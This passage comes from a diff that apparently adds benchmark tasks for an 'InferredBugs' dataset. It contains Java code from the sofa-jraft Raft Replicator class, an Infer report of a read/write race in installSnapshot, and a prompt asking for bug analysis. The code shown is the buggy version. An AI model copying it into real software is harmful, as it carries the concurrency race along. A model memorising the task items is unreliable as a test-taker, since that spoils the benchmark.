+            r.nodeMetrics.recordSize("replicate-entries-count", request.getEntriesCount());
+            r.nodeMetrics.recordSize("replicate-entries-bytes", request.getData() != null ? request.getData().size()
+                : 0);
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received AppendEntriesResponse from "). //
+                append(r.options.getPeerId()). //
+                append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                append(" prevLogTerm=").append(request.getPrevLogTerm()). //
+                append(" count=").append(request.getEntriesCount());
+        }
+        if (!status.isOk()) {
+            // If the follower crashes, any RPC to the follower fails immediately,
+            // so we need to block the follower for a while instead of looping until
+            // it comes back or be removed
+            // dummy_id is unlock in block
+            if (isLogDebugEnabled) {
+                sb.append(" fail, sleep.");
+                LOG.debug(sb.toString());
+            }
+            if (++r.consecutiveErrorTimes % 10 == 0) {
+                LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                    r.consecutiveErrorTimes, status);
+            }
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock in in block
+            r.block(startTimeMs, status.getCode());
+            return false;
+        }
+        r.consecutiveErrorTimes = 0;
+        if (!response.getSuccess()) {
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return false;
+            }
+            if (isLogDebugEnabled) {
+                sb.append(" fail, find nextIndex remote lastLogIndex ").append(response.getLastLogIndex())
+                    .append(" local nextIndex ").append(r.nextIndex);
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            // Fail, reset the state to try again from nextIndex.
+            r.resetInflights();
+            // prev_log_index and prev_log_term doesn't match
+            if (response.getLastLogIndex() + 1 < r.nextIndex) {
+                LOG.debug("LastLogIndex at peer={} is {}", r.options.getPeerId(), response.getLastLogIndex());
+                // The peer contains less logs than leader
+                r.nextIndex = response.getLastLogIndex() + 1;
+            } else {
+                // The peer contains logs from old term which should be truncated,
+                // decrease _last_log_at_peer by one to test the right index to keep
+                if (r.nextIndex > 1) {
+                    LOG.debug("logIndex={} dismatch", r.nextIndex);
+                    r.nextIndex--;
+                } else {
+                    LOG.error("Peer={} declares that log at index=0 doesn't match, which is not supposed to happen",
+                        r.options.getPeerId());
+                }
+            }
+            // dummy_id is unlock in _send_heartbeat
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(", success");
+            LOG.debug(sb.toString());
+        }
+        // success
+        if (response.getTerm() != r.options.getTerm()) {
+            r.resetInflights();
+            r.state = State.Probe;
+            LOG.error("Fail, response term {} dismatch, expect term {}", response.getTerm(), r.options.getTerm());
+            id.unlock();
+            return false;
+        }
+        if (rpcSendTime > r.lastRpcSendTimestamp) {
+            r.lastRpcSendTimestamp = rpcSendTime;
+        }
+        final int entriesSize = request.getEntriesCount();
+        if (entriesSize > 0) {
+            r.options.getBallotBox().commitAt(r.nextIndex, r.nextIndex + entriesSize - 1, r.options.getPeerId());
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("Replicated logs in [{}, {}] to peer {}", r.nextIndex, r.nextIndex + entriesSize - 1,
+                    r.options.getPeerId());
+            }
+        } else {
+            // The request is probe request, change the state into Replicate.
+            r.state = State.Replicate;
+        }
+        r.nextIndex += entriesSize;
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        // dummy_id is unlock in _send_entries
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        return true;
+    }
+
+    private boolean fillCommonFields(final AppendEntriesRequest.Builder rb, long prevLogIndex, final boolean isHeartbeat) {
+        final long prevLogTerm = this.options.getLogManager().getTerm(prevLogIndex);
+        if (prevLogTerm == 0 && prevLogIndex != 0) {
+            if (!isHeartbeat) {
+                Requires.requireTrue(prevLogIndex < this.options.getLogManager().getFirstLogIndex());
+                LOG.debug("logIndex={} was compacted", prevLogIndex);
+                return false;
+            } else {
+                // The log at prev_log_index has been compacted, which indicates
+                // we is or is going to install snapshot to the follower. So we let
+                // both prev_log_index and prev_log_term be 0 in the heartbeat
+                // request so that follower would do nothing besides updating its
+                // leader timestamp.
+                prevLogIndex = 0;
+            }
+        }
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        rb.setPrevLogIndex(prevLogIndex);
+        rb.setPrevLogTerm(prevLogTerm);
+        rb.setCommittedIndex(this.options.getBallotBox().getLastCommittedIndex());
+        return true;
+    }
+
+    private void waitMoreEntries(final long nextWaitIndex) {
+        try {
+            LOG.debug("Node {} waits more entries", this.options.getNode().getNodeId());
+            if (this.waitId >= 0) {
+                return;
+            }
+            this.waitId = this.options.getLogManager().wait(nextWaitIndex - 1,
+                (arg, errorCode) -> continueSending((ThreadId) arg, errorCode), this.id);
+            this.statInfo.runningState = RunningState.IDLE;
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    /**
+     * Send as many requests as possible.
+     */
+    void sendEntries() {
+        boolean doUnlock = true;
+        try {
+            long prevSendIndex = -1;
+            while (true) {
+                final long nextSendingIndex = getNextSendIndex();
+                if (nextSendingIndex > prevSendIndex) {
+                    if (sendEntries(nextSendingIndex)) {
+                        prevSendIndex = nextSendingIndex;
+                    } else {
+                        doUnlock = false;
+                        // id already unlock in sendEntries when it returns false.
+                        break;
+                    }
+                } else {
+                    break;
+                }
+            }
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    /**
+     * Send log entries to follower, returns true when success, otherwise false and unlock the id.
+     *
+     * @param nextSendingIndex next sending index
+     * @return send result.
+     */
+    private boolean sendEntries(final long nextSendingIndex) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, nextSendingIndex - 1, false)) {
+            // unlock id in installSnapshot
+            installSnapshot();
+            return false;
+        }
+
+        ByteBufferCollector dataBuf = null;
+        final int maxEntriesSize = this.raftOptions.getMaxEntriesSize();
+        final RecyclableByteBufferList byteBufList = RecyclableByteBufferList.newInstance();
+        try {
+            for (int i = 0; i < maxEntriesSize; i++) {
+                final RaftOutter.EntryMeta.Builder emb = RaftOutter.EntryMeta.newBuilder();
+                if (!prepareEntry(nextSendingIndex, i, emb, byteBufList)) {
+                    break;
+                }
+                rb.addEntries(emb.build());
+            }
+            if (rb.getEntriesCount() == 0) {
+                if (nextSendingIndex < this.options.getLogManager().getFirstLogIndex()) {
+                    installSnapshot();
+                    return false;
+                }
+                // _id is unlock in _wait_more
+                waitMoreEntries(nextSendingIndex);
+                return false;
+            }
+            if (byteBufList.getCapacity() > 0) {
+                dataBuf = ByteBufferCollector.allocateByRecyclers(byteBufList.getCapacity());
+                for (final ByteBuffer b : byteBufList) {
+                    dataBuf.put(b);
+                }
+                final ByteBuffer buf = dataBuf.getBuffer();
+                buf.flip();
+                rb.setData(ZeroByteStringHelper.wrap(buf));
+            }
+        } finally {
+            RecycleUtil.recycle(byteBufList);
+        }
+
+        final AppendEntriesRequest request = rb.build();
+        if (LOG.isDebugEnabled()) {
+            LOG.debug(
+                "Node {} send AppendEntriesRequest to {} term {} lastCommittedIndex {} prevLogIndex {} prevLogTerm {} logIndex {} count {}",
+                this.options.getNode().getNodeId(), this.options.getPeerId(), this.options.getTerm(),
+                request.getCommittedIndex(), request.getPrevLogIndex(), request.getPrevLogTerm(), nextSendingIndex,
+                request.getEntriesCount());
+        }
+        this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+        this.statInfo.firstLogIndex = rb.getPrevLogIndex() + 1;
+        this.statInfo.lastLogIndex = rb.getPrevLogIndex() + rb.getEntriesCount();
+
+        final Recyclable recyclable = dataBuf;
+        final int v = this.version;
+        final long monotonicSendTimeMs = Utils.monotonicMs();
+        final int seq = getAndIncrementReqSeq();
+        final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+            request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    RecycleUtil.recycle(recyclable);
+                    onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request, getResponse(), seq,
+                        v, monotonicSendTimeMs);
+                }
+
+            });
+        addInflight(RequestType.AppendEntries, nextSendingIndex, request.getEntriesCount(), request.getData().size(),
+            seq, rpcFuture);
+        return true;
+
+    }
+
+    public static void sendHeartbeat(final ThreadId id, final RpcResponseClosure<AppendEntriesResponse> closure) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            Utils.runClosureInThread(closure, new Status(RaftError.EHOSTDOWN, "Peer %s is not connected", id));
+            return;
+        }
+        //id unlock in send empty entries.
+        r.sendEmptyEntries(true, closure);
+    }
+
+    private static void sendHeartbeat(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        // unlock in sendEmptyEntries
+        r.sendEmptyEntries(true);
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish) {
+        sendTimeoutNow(unlockId, stopAfterFinish, -1);
+    }
+
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish, final int timeoutMs) {
+        final TimeoutNowRequest.Builder rb = TimeoutNowRequest.newBuilder();
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        try {
+            if (!stopAfterFinish) {
+                // This RPC is issued by transfer_leadership, save this call_id so that
+                // the RPC can be cancelled by stop.
+                this.timeoutNowInFly = timeoutNow(rb, false, timeoutMs);
+                this.timeoutNowIndex = 0;
+            } else {
+                timeoutNow(rb, true, timeoutMs);
+            }
+        } finally {
+            if (unlockId) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    private Future<Message> timeoutNow(final TimeoutNowRequest.Builder rb, final boolean stopAfterFinish,
+                                       final int timeoutMs) {
+        final TimeoutNowRequest request = rb.build();
+        return this.rpcService.timeoutNow(this.options.getPeerId().getEndpoint(), request, timeoutMs,
+            new RpcResponseClosureAdapter<TimeoutNowResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    if (Replicator.this.id != null) {
+                        onTimeoutNowReturned(Replicator.this.id, status, request, getResponse(), stopAfterFinish);
+                    }
+                }
+
+            });
+    }
+
+    @SuppressWarnings("unused")
+    static void onTimeoutNowReturned(final ThreadId id, final Status status, final TimeoutNowRequest request,
+                                     final TimeoutNowResponse response, final boolean stopAfterFinish) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received TimeoutNowResponse from "). //
+                append(r.options.getPeerId());
+        }
+        if (!status.isOk()) {
+            if (isLogDebugEnabled) {
+                sb.append(" fail:").append(status);
+                LOG.debug(sb.toString());
+            }
+            if (stopAfterFinish) {
+                r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+                r.destroy();
+            } else {
+                id.unlock();
+            }
+            return;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(response.getSuccess() ? " success" : " fail");
+            LOG.debug(sb.toString());
+        }
+        if (response.getTerm() > r.options.getTerm()) {
+            final NodeImpl node = r.options.getNode();
+            r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+            r.destroy();
+            node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                "Leader receives higher term timeout_now_response from peer:%s", r.options.getPeerId()));
+            return;
+        }
+        if (stopAfterFinish) {
+            r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+            r.destroy();
+        } else {
+            id.unlock();
+        }
+
+    }
+
+    public static boolean stop(final ThreadId id) {
+        id.setError(RaftError.ESTOP.getNumber());
+        return true;
+    }
+
+    public static boolean join(final ThreadId id) {
+        id.join();
+        return true;
+    }
+
+    public static long getLastRpcSendTimestamp(final ThreadId id) {
+        final Replicator r = (Replicator) id.getData();
+        if (r == null) {
+            return 0L;
+        }
+        return r.lastRpcSendTimestamp;
+    }
+
+    public static boolean transferLeadership(final ThreadId id, final long logIndex) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // dummy is unlock in _transfer_leadership
+        return r.transferLeadership(logIndex);
+    }
+
+    private boolean transferLeadership(final long logIndex) {
+        if (this.hasSucceeded && this.nextIndex > logIndex) {
+            // _id is unlock in _send_timeout_now
+            this.sendTimeoutNow(true, false);
+            return true;
+        }
+        // Register log_index so that _on_rpc_return trigger
+        // _send_timeout_now if _next_index reaches log_index
+        this.timeoutNowIndex = logIndex;
+        this.id.unlock();
+        return true;
+    }
+
+    public static boolean stopTransferLeadership(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.timeoutNowIndex = 0;
+        id.unlock();
+        return true;
+    }
+
+    public static boolean sendTimeoutNowAndStop(final ThreadId id, final int timeoutMs) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // id unlock in sendTimeoutNow
+        r.sendTimeoutNow(true, true, timeoutMs);
+        return true;
+    }
+
+    public static long getNextIndex(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return 0;
+        }
+        long nextIdx = 0;
+        if (r.hasSucceeded) {
+            nextIdx = r.nextIndex;
+        }
+        id.unlock();
+        return nextIdx;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.core.Replicator.installSnapshot` indirectly reads with synchronization from `n$20.com.alipay.sofa.jraft.entity.PeerId.str`. Potentially races with unsynchronized write in method `Replicator.onInstallSnapshotReturned(...)`.
+ Reporting because the current class is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+Note that the prefix path n$20 has been contaminated during the execution, so the reported race on n$20.com.alipay.sofa.jraft.entity.PeerId.str might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Replicator.installSnapshot()
+
+### Procedure Id:
+com.alipay.sofa.jraft.core.Replicator.installSnapshot():void.e3306dc042cb27a2a7f7c45d7a122510
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/core/Replicator.java
+
+### Key:
+Replicator.java|installSnapshot|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+c8b7782a2b13f0d0aeb4a357c4b6115b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9221/instruction.md b/inferredbugs-9221/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c2d88e0b11cc36271a6b1e3216445faba4848d26
--- /dev/null
+++ b/inferredbugs-9221/instruction.md
@@ -0,0 +1,1801 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 43
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.core;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayDeque;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.PriorityQueue;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.ThreadSafe;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Node;
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.closure.CatchUpClosure;
+import com.alipay.sofa.jraft.entity.EnumOutter;
+import com.alipay.sofa.jraft.entity.LogEntry;
+import com.alipay.sofa.jraft.entity.PeerId;
+import com.alipay.sofa.jraft.entity.RaftOutter;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.error.RaftException;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.option.ReplicatorOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.snapshot.SnapshotReader;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Recyclable;
+import com.alipay.sofa.jraft.util.RecyclableByteBufferList;
+import com.alipay.sofa.jraft.util.RecycleUtil;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.ThreadId;
+import com.alipay.sofa.jraft.util.Utils;
+import com.codahale.metrics.Gauge;
+import com.codahale.metrics.Metric;
+import com.codahale.metrics.MetricRegistry;
+import com.codahale.metrics.MetricSet;
+import com.google.protobuf.Message;
+import com.google.protobuf.ZeroByteStringHelper;
+
+/**
+ * Replicator for replicating log entry from leader to followers.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-04 10:32:02 AM
+ */
+@ThreadSafe
+public class Replicator implements ThreadId.OnError {
+
+    private static final Logger              LOG                    = LoggerFactory.getLogger(Replicator.class);
+
+    private final RaftClientService          rpcService;
+    // Next sending log index
+    private volatile long                    nextIndex;
+    private int                              consecutiveErrorTimes  = 0;
+    private boolean                          hasSucceeded;
+    private long                             timeoutNowIndex;
+    private volatile long                    lastRpcSendTimestamp;
+    private volatile long                    heartbeatCounter       = 0;
+    private volatile long                    appendEntriesCounter   = 0;
+    private volatile long                    installSnapshotCounter = 0;
+    protected Stat                           statInfo               = new Stat();
+    private ScheduledFuture<?>               blockTimer;
+
+    // Cached the latest RPC in-flight request.
+    private Inflight                         rpcInFly;
+    // Heartbeat RPC future
+    private Future<Message>                  heartbeatInFly;
+    // Timeout request RPC future
+    private Future<Message>                  timeoutNowInFly;
+    // In-flight RPC requests, FIFO queue
+    private final ArrayDeque<Inflight>       inflights              = new ArrayDeque<>();
+
+    private long                             waitId                 = -1L;
+    protected ThreadId                       id;
+    private final ReplicatorOptions          options;
+    private final RaftOptions                raftOptions;
+
+    private ScheduledFuture<?>               heartbeatTimer;
+    private volatile SnapshotReader          reader;
+    private CatchUpClosure                   catchUpClosure;
+    private final TimerManager               timerManager;
+    private final NodeMetrics                nodeMetrics;
+    private volatile State                   state;
+
+    // Request sequence
+    private int                              reqSeq                 = 0;
+    // Response sequence
+    private int                              requiredNextSeq        = 0;
+    // Replicator state reset version
+    private int                              version                = 0;
+
+    // Pending response queue;
+    private final PriorityQueue<RpcResponse> pendingResponses       = new PriorityQueue<>(50);
+
+    private int getAndIncrementReqSeq() {
+        final int prev = this.reqSeq;
+        this.reqSeq++;
+        if (this.reqSeq < 0) {
+            this.reqSeq = 0;
+        }
+        return prev;
+    }
+
+    private int getAndIncrementRequiredNextSeq() {
+        final int prev = this.requiredNextSeq;
+        this.requiredNextSeq++;
+        if (this.requiredNextSeq < 0) {
+            this.requiredNextSeq = 0;
+        }
+        return prev;
+    }
+
+    /**
+     * Replicator state
+     * @author dennis
+     *
+     */
+    public enum State {
+        Probe, // probe follower state
+        Snapshot, // installing snapshot to follower
+        Replicate, // replicate logs normally
+        Destroyed // destroyed
+    }
+
+    public Replicator(final ReplicatorOptions replicatorOptions, final RaftOptions raftOptions) {
+        super();
+        this.options = replicatorOptions;
+        this.nodeMetrics = this.options.getNode().getNodeMetrics();
+        this.nextIndex = this.options.getLogManager().getLastLogIndex() + 1;
+        this.timerManager = replicatorOptions.getTimerManager();
+        this.raftOptions = raftOptions;
+        this.rpcService = replicatorOptions.getRaftRpcService();
+    }
+
+    /**
+     * Replicator metric set.
+     * @author dennis
+     *
+     */
+    private static final class ReplicatorMetricSet implements MetricSet {
+        private final ReplicatorOptions opts;
+        private final Replicator        r;
+
+        private ReplicatorMetricSet(final ReplicatorOptions opts, final Replicator r) {
+            this.opts = opts;
+            this.r = r;
+        }
+
+        @Override
+        public Map<String, Metric> getMetrics() {
+            final Map<String, Metric> gauges = new HashMap<>();
+            gauges.put("log-lags",
+                (Gauge<Long>) () -> this.opts.getLogManager().getLastLogIndex() - (this.r.nextIndex - 1));
+            gauges.put("next-index", (Gauge<Long>) () -> this.r.nextIndex);
+            gauges.put("heartbeat-times", (Gauge<Long>) () -> this.r.heartbeatCounter);
+            gauges.put("install-snapshot-times", (Gauge<Long>) () -> this.r.installSnapshotCounter);
+            gauges.put("append-entries-times", (Gauge<Long>) () -> this.r.appendEntriesCounter);
+            return gauges;
+        }
+    }
+
+    /**
+     * Internal state
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:45 AM
+     */
+    enum RunningState {
+        IDLE, // idle
+        BLOCKING, // blocking state
+        APPENDING_ENTRIES, // appending log entries
+        INSTALLING_SNAPSHOT // installing snapshot
+    }
+
+    enum ReplicatorEvent {
+        CREATED, // created
+        ERROR, // error
+        DESTROYED // destroyed
+    }
+
+    /**
+     * User can implement the ReplicatorStateListener interface by themselves.
+     * So they can do some their own logic codes when replicator created, destroyed or had some errors.
+     *
+     * @author zongtanghu
+     *
+     * 2019-Aug-20 2:32:10 PM
+     */
+    public interface ReplicatorStateListener {
+
+        /**
+         * Called when this replicator has been created.
+         *
+         * @param peer   replicator related peerId
+         */
+        void onCreated(final PeerId peer);
+
+        /**
+         * Called when this replicator has some errors.
+         *
+         * @param peer   replicator related peerId
+         * @param status replicator's error detailed status
+         */
+        void onError(final PeerId peer, final Status status);
+
+        /**
+         * Called when this replicator has been destroyed.
+         *
+         * @param peer   replicator related peerId
+         */
+        void onDestroyed(final PeerId peer);
+    }
+
+    /**
+     * Notify replicator event(such as created, error, destroyed) to replicatorStateListener which is implemented by users.
+     *
+     * @param replicator    replicator object
+     * @param event         replicator's state listener event type
+     * @param status        replicator's error detailed status
+     */
+    private static void notifyReplicatorStatusListener(final Replicator replicator, final ReplicatorEvent event, final Status status) {
+        final ReplicatorOptions replicatorOpts = Requires.requireNonNull(replicator.getOpts(), "replicatorOptions");
+        final Node node = Requires.requireNonNull(replicatorOpts.getNode(), "node");
+        final PeerId peer = Requires.requireNonNull(replicatorOpts.getPeerId(), "peer");
+
+        final List<ReplicatorStateListener> listenerList = node.getReplicatorStatueListeners();
+        for (int i = 0; i < listenerList.size(); i++) {
+            final ReplicatorStateListener listener = listenerList.get(i);
+            if(listener != null) {
+                try {
+                    switch (event) {
+                        case CREATED:
+                            Utils.runInThread(() -> listener.onCreated(peer));
+                            break;
+                        case ERROR:
+                            Utils.runInThread(() -> listener.onError(peer, status));
+                            break;
+                        case DESTROYED:
+                            Utils.runInThread(() -> listener.onDestroyed(peer));
+                            break;
+                        default:
+                            break;
+                    }
+                } catch (final Exception e) {
+                    LOG.error("Fail to notify ReplicatorStatusListener, listener={}, event={}.", listener, event);
+                }
+            }
+        }
+    }
+
+    /**
+     * Notify replicator event(such as created, error, destroyed) to replicatorStateListener which is implemented by users for none status.
+     *
+     * @param replicator    replicator object
+     * @param event         replicator's state listener event type
+     */
+    private static void notifyReplicatorStatusListener(final Replicator replicator, final ReplicatorEvent event) {
+        notifyReplicatorStatusListener(replicator, event, null);
+    }
+
+    /**
+     * Statistics structure
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:53 AM
+     */
+    static class Stat {
+        RunningState runningState;
+        long         firstLogIndex;
+        long         lastLogIncluded;
+        long         lastLogIndex;
+        long         lastTermIncluded;
+
+        @Override
+        public String toString() {
+            return "<running=" + this.runningState + ", firstLogIndex=" + this.firstLogIndex + ", lastLogIncluded="
+                   + this.lastLogIncluded + ", lastLogIndex=" + this.lastLogIndex + ", lastTermIncluded="
+                   + this.lastTermIncluded + ">";
+        }
+
+    }
+
+    // In-flight request type
+    enum RequestType {
+        Snapshot, // install snapshot
+        AppendEntries // replicate logs
+    }
+
+    /**
+     * In-flight request.
+     * @author dennis
+     *
+     */
+    static class Inflight {
+        // In-flight request count
+        final int             count;
+        // Start log index
+        final long            startIndex;
+        // Entries size in bytes
+        final int             size;
+        // RPC future
+        final Future<Message> rpcFuture;
+        final RequestType     requestType;
+        // Request sequence.
+        final int             seq;
+
+        public Inflight(final RequestType requestType, final long startIndex, final int count, final int size,
+                        final int seq, final Future<Message> rpcFuture) {
+            super();
+            this.seq = seq;
+            this.requestType = requestType;
+            this.count = count;
+            this.startIndex = startIndex;
+            this.size = size;
+            this.rpcFuture = rpcFuture;
+        }
+
+        @Override
+        public String toString() {
+            return "Inflight [count=" + this.count + ", startIndex=" + this.startIndex + ", size=" + this.size
+                   + ", rpcFuture=" + this.rpcFuture + ", requestType=" + this.requestType + ", seq=" + this.seq + "]";
+        }
+
+        boolean isSendingLogEntries() {
+            return this.requestType == RequestType.AppendEntries && this.count > 0;
+        }
+    }
+
+    /**
+     * RPC response for AppendEntries/InstallSnapshot.
+     * @author dennis
+     *
+     */
+    static class RpcResponse implements Comparable<RpcResponse> {
+        final Status      status;
+        final Message     request;
+        final Message     response;
+        final long        rpcSendTime;
+        final int         seq;
+        final RequestType requestType;
+
+        public RpcResponse(final RequestType reqType, final int seq, final Status status, final Message request,
+                           final Message response, final long rpcSendTime) {
+            super();
+            this.requestType = reqType;
+            this.seq = seq;
+            this.status = status;
+            this.request = request;
+            this.response = response;
+            this.rpcSendTime = rpcSendTime;
+        }
+
+        @Override
+        public String toString() {
+            return "RpcResponse [status=" + this.status + ", request=" + this.request + ", response=" + this.response
+                   + ", rpcSendTime=" + this.rpcSendTime + ", seq=" + this.seq + ", requestType=" + this.requestType
+                   + "]";
+        }
+
+        /**
+         * Sort by sequence.
+         */
+        @Override
+        public int compareTo(final RpcResponse o) {
+            return Integer.compare(this.seq, o.seq);
+        }
+    }
+
+    @OnlyForTest
+    ArrayDeque<Inflight> getInflights() {
+        return this.inflights;
+    }
+
+    @OnlyForTest
+    State getState() {
+        return this.state;
+    }
+
+    @OnlyForTest
+    void setState(final State state) {
+        this.state = state;
+    }
+
+    @OnlyForTest
+    int getReqSeq() {
+        return this.reqSeq;
+    }
+
+    @OnlyForTest
+    int getRequiredNextSeq() {
+        return this.requiredNextSeq;
+    }
+
+    @OnlyForTest
+    int getVersion() {
+        return this.version;
+    }
+
+    @OnlyForTest
+    public PriorityQueue<RpcResponse> getPendingResponses() {
+        return this.pendingResponses;
+    }
+
+    @OnlyForTest
+    long getWaitId() {
+        return this.waitId;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getBlockTimer() {
+        return this.blockTimer;
+    }
+
+    @OnlyForTest
+    long getTimeoutNowIndex() {
+        return this.timeoutNowIndex;
+    }
+
+    @OnlyForTest
+    ReplicatorOptions getOpts() {
+        return this.options;
+    }
+
+    @OnlyForTest
+    long getRealNextIndex() {
+        return this.nextIndex;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcInFly() {
+        if (this.rpcInFly == null) {
+            return null;
+        }
+        return this.rpcInFly.rpcFuture;
